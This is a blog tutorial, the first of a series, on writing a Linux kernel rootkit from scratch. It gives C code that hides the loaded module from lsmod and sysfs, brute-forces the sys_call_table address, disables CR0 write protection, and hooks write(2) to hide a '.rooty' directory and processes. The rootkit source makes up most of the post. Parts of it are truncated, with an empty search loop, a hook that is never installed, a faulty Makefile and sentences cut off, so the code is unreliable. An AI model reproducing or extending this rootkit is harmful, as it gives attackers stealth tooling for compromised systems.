Linux Rootkits 101 (1 of 3)

Modern Linux Rootkits 101

By Tyler Borland (TurboBorland)

Introduction to Linux Rootkits

I was told to do a presentation on malware for work, so I decided to do it on writing Linux rootkits from scratch. I had enough people interested in the topic, even though there's a lot of work already covering this, that I thought I'd just release it for public consumption. This post is going to be part of a three part series evolving the rootkit to modern/appropriate standards of rootkits for Linux today. This first part is more about general rootkit development and practices on Linux rather than appropriately hiding processes, files, and network traffic. However, it will lay the groundwork for our future development.

Part 1

The first part of the series is building a very simple rootkit for modern 3.x kernels (will work on 2.6.x) with both 32 and 64bit support. We will cover a small area of driver development/LKM (loadable kernel modules), system calls, discovering and understanding how things really work with Linux internals, and how to hijack system calls appropriately. The idea is to give you enough information and knowledge to expand the rootkit to do what you need. Our final code for the first part will give an easy to use template for an overly simplistic method of hiding a directory by hijacking the write(2) system call. This will come with many issues until we enter the VFS world. For now, however, it drives the idea.

This is not a userland kit. As such we will stay in the kernel and not be covering shared library function hijacking with (g|e)libc by using LD_PRELOAD.

Start Your Drivers

```
#include <linux/init.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
int rooty_init(void);
void rooty_exit(void);
module_init(rooty_init);
module_exit(rooty_exit);

int rooty_init(void) {
 printk("rooty: module loaded\n");
 return 0;
}

void rooty_exit(void) {
 printk("rooty: module removed\n");
}
```

This module will print "rooty: module loaded" to the kernel ring buffer when initialized and "rooty: module removed" when removed. We'll get to getting this into the system in a bit.

Makefile

A Makefile is used for compilation of the module. It's a couple more steps than normally compiling a file, but still easy. Here's our makefile:

```
Obj-m := rooty.o
KERNEL_DIR = /lib/modules/$(shell uname -r)/build
PWD = $(shell PWD)
all:
 $(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD)
```

Inserting and Removing Modules

This is another easy process. We will be using two commands to insert and remove our modules from the kernel. First is insmod, which stands for insert module. The file we want to include is rooty.ko. KO stands for kernel object and, since 2.6, is used to differentiate from regular object files and they have extended information on the module. Now, simply insmod rooty.ko and, if there's no oops, we should be good to go. Check by looking at the kernel ring message buffer with dmesg. dmesg | grep rooty. You should see the message about the module starting.

Of course, removing a module is just as easy. rmmod rooty.ko. Again, we can check if it worked by looking at the kernel message buffer. dmesg | grep rooty and you should see the module unloaded.

It's important to note that there are attempts to prevent runtime loading of new LKM's. You can do this by setting the flag in /proc/sys/kernel/modules_disabled. There won't be much talk about bypassing that on this first part, but we'll look at it and get around it in part 3.

Hiding The Module

Now that there's a template module and it's working, the module needs to be hidden before we do anything. There are two main locations we need to take care of. The first is /proc/modules and the other is /sys/module/. The prior is what is used by lsmod (to list modules on a system) and is basically a list of modules, their current state, and memory address. The latter is used for information on the loaded kernel objects and contains information like arguments

To start, we want to hide from the most common method of discovering modules on the system, lsmod. As said earlier, lsmod works by looking at the /proc/modules file. To do this we call the list_del_init function on &__this_module.list. This function calls into __list_del_entry and on to __list_del which points the entry's next and previous pointers to the next and previous's prev and next pointers. That sounds odd, but the code speaks easier than words:

```
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
 next->prev = prev;
```

```
static inline void INIT_LIST_HEAD(struct list_head *list)
{
 list->next = list;
 list->prev = list;
}
```

Now that the /proc/modules list is handled, /sys/module/ is next. Again, this is used for kernel object information. This is another easy one liner. The function used is kobject_del and we, again, use it on &THIS_MODULE and point it to the kobj. This function simply removes the entry from the VFS with sysfs_remove_dir(kobj). With these two functions, our rooty_init should now look like:

```
int rooty_init(void) {
        list_del_init(&__this_module.list);
 kobject_del(&THIS_MODULE->mkobj.kobj);
 printk("rooty: module loaded\n");
        return 0;
}
```

We should verify that after this is done, we don't see the module. Can do this by checking locations where this information would show up:

```
grep rooty /proc/modules
ls /sys/modules | grep rooty
modinfo rooty
modprobe -c | grep rooty
grep rooty /proc/kallsyms
```

Other entries might exist on systems and you can verify them there, but this should take care of them. This also means that normal tools like rmmod won't be able to find and remove the module when you're updating. Because of this it's best test that it works and then comment out these two lines until the product is finished.

a process makes that the rootkit has hooked. This triggers a gate to the rootkit, as we've hooked it, and will hide the activites of the process. However, as this is only a rootkit 101, we will instead use the rootkit to hide a directory. This will not be the best method nor a method you should ever use, but it will give a template for how hijacking system calls, finding appropriate ones to hijack, and managing them.

System Calls

Understanding system calls is a fundamental requirement of how the operating system actually functions and how our rootkit will work. We won't go into too much detail here about how it is implemented as that's an entire article in itself. Instead, we'll try to give a brief overview of what they are. System calls are how programs interact with kernel services. They cover all of the operations from process control, file management, device management, information management, and communication (ie kernel scheduler). In protected mode, the kernel decides on a set of system calls and their implementation. This is why system call numbers aren't unversal amongst operating systems like Mac and Linux or even architecture-wise with 32 and 64bit.

The definition of decimal numbers to their according system call values are located in unistd.h. This file will ifdef for either 32 or 64 bit architecture. Let's see a short example of how this is laid out with unistd_64.h:

```
head -n 15 /usr/include/asm/unistd_64.h
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
#define __NR_lstat 6
#define __NR_poll 7
#define __NR_lseek 8
#define __NR_mmap 9
```

USBCreator Exploit (or …
DMESG_RESTRICT By…
JournalCTL Terminal Es…
Ghetto Privilege Escalati…
Writing Linux Rootkits 301
Writing Linux Rootkits 2…
Linux Rootkits 10… 2
Exploiting Exotic … 3
Exploiting Exotic … 1
Exploiting Exotic … 1
Attacking Kippo 1
Modern Userland Linux …
Discovering Modern CS…

http://en.wikipedia.org/wiki/System_call [http://en.wikipedia.org/wiki/System_call]
http://www.ibm.com/developerworks/library/l-system-calls/ [http://www.ibm.com/developerworks/library/l-system-calls/]

Using Strace

Strace, or system call trace, is a tool to let us know what kind of system calls are being used by a program or process. Because we want to hide directories with our rootkit, it would be best to understand how tools like ls work in the background. To do this simply issue strace /bin/ls. This provides us with a slimmed and stripped output. For a more detailed output run strace -v -s 1024 -o file /bin/ls. This will cause strace to be verbose, increase default string limit, and write to a file called 'file'. Initially there is a lot of things happening. Usually search path checking for shared object files and lots of memory management for allocations. However, let's look at the important pieces after this setup and discovery has completed:

```
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3
getdents(3, /* 110 entries */, 32768) = 3656
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
write(1,"values")
```

This is very useful information, but maybe not so much if you aren't familiar with what these calls do. Thankfully, bash is an incredible IDE. If you man man you see that man has a lot of potential for understanding functions and system calls, along with the most known use of programs. If you were to man 2 system_call_name, you can see most everything you'd want to know. We have a description, arguments, types, usages, and more readily available. Let's go ahead and look at the above system calls so we can understand exactly what is happening with /bin/ls.

man 2 openat

We saw this output from strace:

```
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3
```

Now, some descriptions from man 2:

That last piece is important to what we saw. If the pathname is the current directory file descriptor, than a "." is used instead of filling in the full path name. So when we do ls on the current directory, we'd see ., otherwise we'd see the full path.

man 2 getdents

What we saw:

```
getdents(3, {{d_ino=8388618, d_off=1423698410932293507, d_reclen=32, d_name="Makefile"} {d_ino=8259181, d_off=6310268130706029514, d_reclen=24, d_name=".."} {d_ino=8462618, d_off=6672836733886815036, d_reclen=24, d_name="."} {d_ino=8426830, d_off=9223372036854775807, d_reclen=32, d_name="rooty.c"}}, 32768) = 112
```

man 2 descriptions: getdents - get directory entries
int getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count);

This seems quiet confusing, mostly because it's not what you'd think when you read "get directory entries". What you're actually seeing here is information about the virtual filesystem. The reason this is done is for other switches like ls -i. We'll get into this type of information in much more detail in part 2. For this part, we'll focus on the next system call.

man 2 fstat

The output we received:

```
fstat(1, {st_dev=makedev(0, 10), st_ino=10, st_mode=S_IFCHR|0620, st_nlink=1, st_uid=1000, st_gid=5, st_blksize=1024, st_blocks=0, st_rdev=makedev(136, 7), st_atime=2013/09/19-11:34:24, st_mtime=2013/09/19-11:34:24, st_ctime=2013/09/19-11:15:42}) = 0
```

Small pieces of information from man 2:

stat, fstat, lstat - get file status

man 2 write

The output:

```
write(1, "Makefile rooty.c\n", 18Makefile rooty.c) = 18
```

This simply writes the parsed output to the given file descriptor. Here we see 1, which is standard out or stdout. The other common values are 0 for stdin and 2 for stderr.

Putting The Picture Together

With a new understanding about how these functions work, let's put it all together to understand how ls works with system calls to display the inormation. It starts off with openat to open a file descriptor with the given directory, which was current (.) in our case. Then it grabs the information on each of the files/directories in the given directory by using getdents and fstat. Getdents retriveving virtual filesystem information such as inode number and name. Fstat retrieving common information such as timestamps, privilege values, block size, and etc. Finally, we take the parsed values of the program and write them to the standard out terminal screen.

With this in mind, what is the best spot for us to hijack to hide a given directory? It really would be virtual filesystem functions instead of system calls, however that code is a bit more involved and complicated than simply hijacking a system call. Instead, we will hijack the write system call and parse the return values so it does not display our directory.

sys_call_table

Now, in order to hijack a system call and point it to our own function, we need to know where in memory the current pointer exists. In kernel memory there is a structure that holds the pointer values for all the system call location. This structure is aptly named sys_call_table. If we can find this base, we can use an offset to the wanted function hijack to overwrite the pointer with our own. However, an issue does arise with this and it's not as easy as it sounds.

Since kernels of the 2.6.x, the sys_call_table symbol is no longer exported. So you can't simply use the symbol value to reference the memory location where this table lies. This was used as a mechanism to prevent rootkits at the time. Interestingly, several modern kernels are compiled with KALLSYMS_ALL, which means all symbol addresses are

There are quiet a few fancy tricks out there to discover the location of the table. Some of the more popular ones, and often used in freshly discovered rootkits in the wild, are grepping via the system.map file or via /proc/kallsyms. More popular in the advancing techniques style is using the interrupt descriptor table (sidt) to find the system call interrupt trap gate (int 0x80 on x86_32 or the ia32_sys_call_table on x86_64) for the location. This is usually used alongside an x86_64 MSR (machine specific register) for 64bit support for the x86_64 sys_call_table (not the emulated ia32_sys_call_table as was completed by the IDT method). x86_64 supports the MSR_LSTAR MSR that returns the long x86_64 sys_call_table. You can just use rdmsrl(MSR_LSTAR, syscall_long);, where syscall_long is just an unsigned long and will now have the syscall table value. Very simple!

That is not how we're going to find it with our first kit, though. We'll use a not so sexy, but fully functional despite different architectures and cpu's being used, technique of bruteforcing. The basic idea of it is to define a kernel memory range that the sys_call_table can lie in. We can compare the pointer with a symbol that is exported like sys_close. Now, we can use unistd.h to denote the __NR_close offset value from our base pointer. This defintion is:

```
#define __NR_close (__NR_SYSCALL_BASE+ 6)
```

This allows us to use __NR_close as an appropriate offset of our pointer. When our pointer+offset matches the sys_close value, we have successfully found the sys_call_table in kernel memory. If not, we just increase by a pointer size and try again. While this sounds like it takes forever, it's really not.

So, what ranges should we use for 32 and 64bit? Well, this is what we use:

```
#if defined(__i386__)
#define START_CHECK 0xc0000000
#define END_CHECK 0xd0000000
typedef unsigned int psize;
#else
#define START_CHECK 0xffffffff81000000
#define END_CHECK 0xffffffffa2000000
typedef unsigned long psize;
#endif
```

```
psize **find(void) {
 psize **sctable;
 psize i = START_CHECK;
 while (i < END_CHECK) {
  sctable = (psize **) i;
  if (sctable[__NR_CLOSE] == (psize *) sys_close) {
   return &sctable[0];
  }
  i += sizeof(void *);
 }
 return NULL;
}
```

We can check if this worked by adding some code to our rooty_init. We'll use something like:

```
if (sys_call_table = (psize *) find()) {
 printk("rooty: sys_call_table found at %p\n",sys_call_table);
} else {
 printk("rooty: sys_call_table not found\n");
}
```

Now, after a new make, when we insert the module we can see the address it thinks the sys_call_table lays by dmesg | grep rooty. Then, validate it against the entry in grep sys_call_table /proc/kallsyms, assuming your kernel is compiled with KALLSYMS_ALL. You should see the valid table being found even under a hypervisor. The only issue here is we do not check for ia32_sys_call_table for the emulated 32bit system call table under an x86_64 architecture. It's up to the reader to expand into this if needed. Don't worry, it's not difficult.

Control Register

With the sys_call_table located and the offset known, we'll want to go ahead and write our new pointer over the current pointer in the table. Another problem comes up. Again, since 2.6.x kernels a new security system was introduced. This

```
write_cr0(read_cr0() & (~ 0x10000));
```

Read in the current cr0 value and AND it with NOT these bytes. This effectively turns the 16th bit into a 0. Here we would hijack the table pointers we want and the turn the WP bit back on with:

```
write_cr0(read_cr0() | 0x10000);
```

The Write Hijack

Now that we know where the sys_call_table exists, and we can write to it, it is time to hijack write with our own write function. We'll first want to save a copy of the original write to pass data off to and restore when the module is unloaded. To do this we'll simply use the xchg() function and exchange the two pointers (we'll define rooty_write in a little bit):

```
o_write = (void *)xchg(&sys_call_table[__NR_write],rooty_write);
```

Let's setup a function that will be able to handle the write data, parse it, and return the originaldata if we don't have any reason to filter data coming through the hook. Remember that man 2 write will let us know how it's implemented already with:

```
ssize_t write(int fd, const void *buff, size_t count);
```

Our version of this will be rather similiar. asmlinkage is going to need to be used so the compiler knows that the arguments are located on the stack for x86_32. This will prevent clobbering or other compilation issues with handing arguments to the function. This relates to gcc as defined as:

```
#ifdef CONFIG_X86_32
#define asmlinkage CPP_ASMLINKAGE __attribute__((regparm(0)))
```

Our buffer is also going to be passed in from userland memory, so const char __user *buff will be used to grab this userland string buffer. Finally, we'll write our hooked function:

```
 copy_from_user(kbuff,buff,255); /* copy the userland memory to the kernel memory allocation */
 if (strstr(kbuff,proc_protect)) { /* does the write buffer memroy contain the protected directory name */
  kfree(kbuff); /* Then free it */
  /* don't display ls write error with ENOTDIR/ENOENT */
  return EEXIST; /* And return file exists error */
 }
 r = o_write(fd,buff,count); /* Otherwise return data from original write system call */
}
```

There is a nuance here that we took care of with the directory name. Regular ls usage will actually write multiple entries with a write call. So if we kfree() because the buffer contains the protected name, we'll be freeing more than we wanted to and cause issues. However, when ls is used with other flags that produce more information per entry, one entry buffer is used per write call. So, we hide it from normal ls data by using a . in front of the name, which is not displayed until the -a flag is used, which does not ignore values that start with a period. This will also have the side effect from hiding the name .rooty from other tools. For example, a process named .rooty will be hidden from tools like lsof, top, and ps appropriately.

Extending the Rootkit

With the rootkit skeleton layed out and an example system call hijacked, it's your job to extend the abilities of the kit by hijacking other system calls. For example, what about denying directory changes to the protected directory, denying the ability to remove the directory, and etc. Get to understand how this type of style works because we'll be drastically changing it in part 2.

Getting Ready for Part 2 - VFS Style

This type of rootkit has quiet a few issues and aren't exactly eligent/appropriate to do most of the work we'd want to do. So in the next part of this series we will go over hijacking VFS functions like readdir/filldir. This will allow us to, for example, hide directories for real and not just manipulate data written to a given file descriptor. To get ready for this, it would be best to understand the virtual filesystem and how it works.

USBCreator Exploit (or …

DMESG_RESTRICT By…

JournalCTL Terminal Es…

Ghetto Privilege Escalati…

Writing Linux Rootkits 301

Writing Linux Rootkits 2…

Linux Rootkits 10… 2

Exploiting Exotic … 3

Exploiting Exotic … 1

Exploiting Exotic … 1

Attacking Kippo 1

Modern Userland Linux …

Discovering Modern CS…

```
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kobject.h>
#include <linux/unistd.h>
#include <linux/syscalls.h>
#include <linux/string.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");

int rooty_init(void);
void rooty_exit(void);
module_init(rooty_init);
module_exit(rooty_exit);

#if defined(__i386__)
#define START_CHECK 0xc0000000
#define END_CHECK 0xd0000000
typedef unsigned int psize;
#else
#define START_CHECK 0xffffffff81000000
#define END_CHECK 0xffffffffa2000000
typedef unsigned long psize;
#endif

asmlinkage ssize_t (*o_write)(int fd, const char __user *buff, ssize_t count);

psize *sys_call_table;
psize **find(void) {
 psize **sctable;
 psize i = START_CHECK;
 while (i < END_CHECK) {
 }
 return NULL;
}

asmlinkage ssize_t rooty_write(int fd, const char __user *buff, ssize_t count) {
 int r;
 char *proc_protect = ".rooty";
 char *kbuff = (char *) kmalloc(256,GFP_KERNEL);
 copy_from_user(kbuff,buff,255);
 if (strstr(kbuff,proc_protect)) {
  kfree(kbuff);
  return EEXIST;
 }
 r = (*o_write)(fd,buff,count);
 kfree(kbuff);
 return r;
}

int rooty_init(void) {
 /* Do kernel module hiding*/
 list_del_init(&__this_module.list);
 kobject_del(&THIS_MODULE->mkobj.kobj);

 /* Find the sys_call_table address in kernel memory */
 if ((sys_call_table = (psize *) find())) {
  printk("rooty: sys_call_table found at %p\n", sys_call_table);
 } else {
  printk("rooty: sys_call_table not found, aborting\n");
 }

 /* disable write protect on page in cr0 */
 write_cr0(read_cr0() & (~ 0x10000));
 write_cr0(read_cr0() | 0x10000);

 return 0;
}

void rooty_exit(void) {
 write_cr0(read_cr0() & (~ 0x10000));
 xchg(&sys_call_table[__NR_write],o_write);
 write_cr0(read_cr0() | 0x10000);
 printk("rooty: Module unloaded\n");
}
```

And if you have any problems with understanding the code, please re-read this post. The original presentation I made for this is also available at:

https://docs.google.com/file/d/0ByaHyu9Ur1vidXVnUGVtNjlDMWM/edit?usp=sharing
[https://docs.google.com/file/d/0ByaHyu9Ur1vidXVnUGVtNjlDMWM/edit?usp=sharing]

Posted 20th September 2013 by TurboBorland

2 View comments

Unknown July 11, 2016 at 11:21 AM

This set of articles is superb, it has helped me improve my current research and I look forward to your malware writing series should you choose to write it. This article is showing up on page one of google, so I think it could be considered a success. Thanks!

Reply

deepak singh November 25, 2016 at 12:08 AM

Enter your comment...

Comment as: Unknown (Goo ▼ Sign out

Publish Preview ☐ Notify me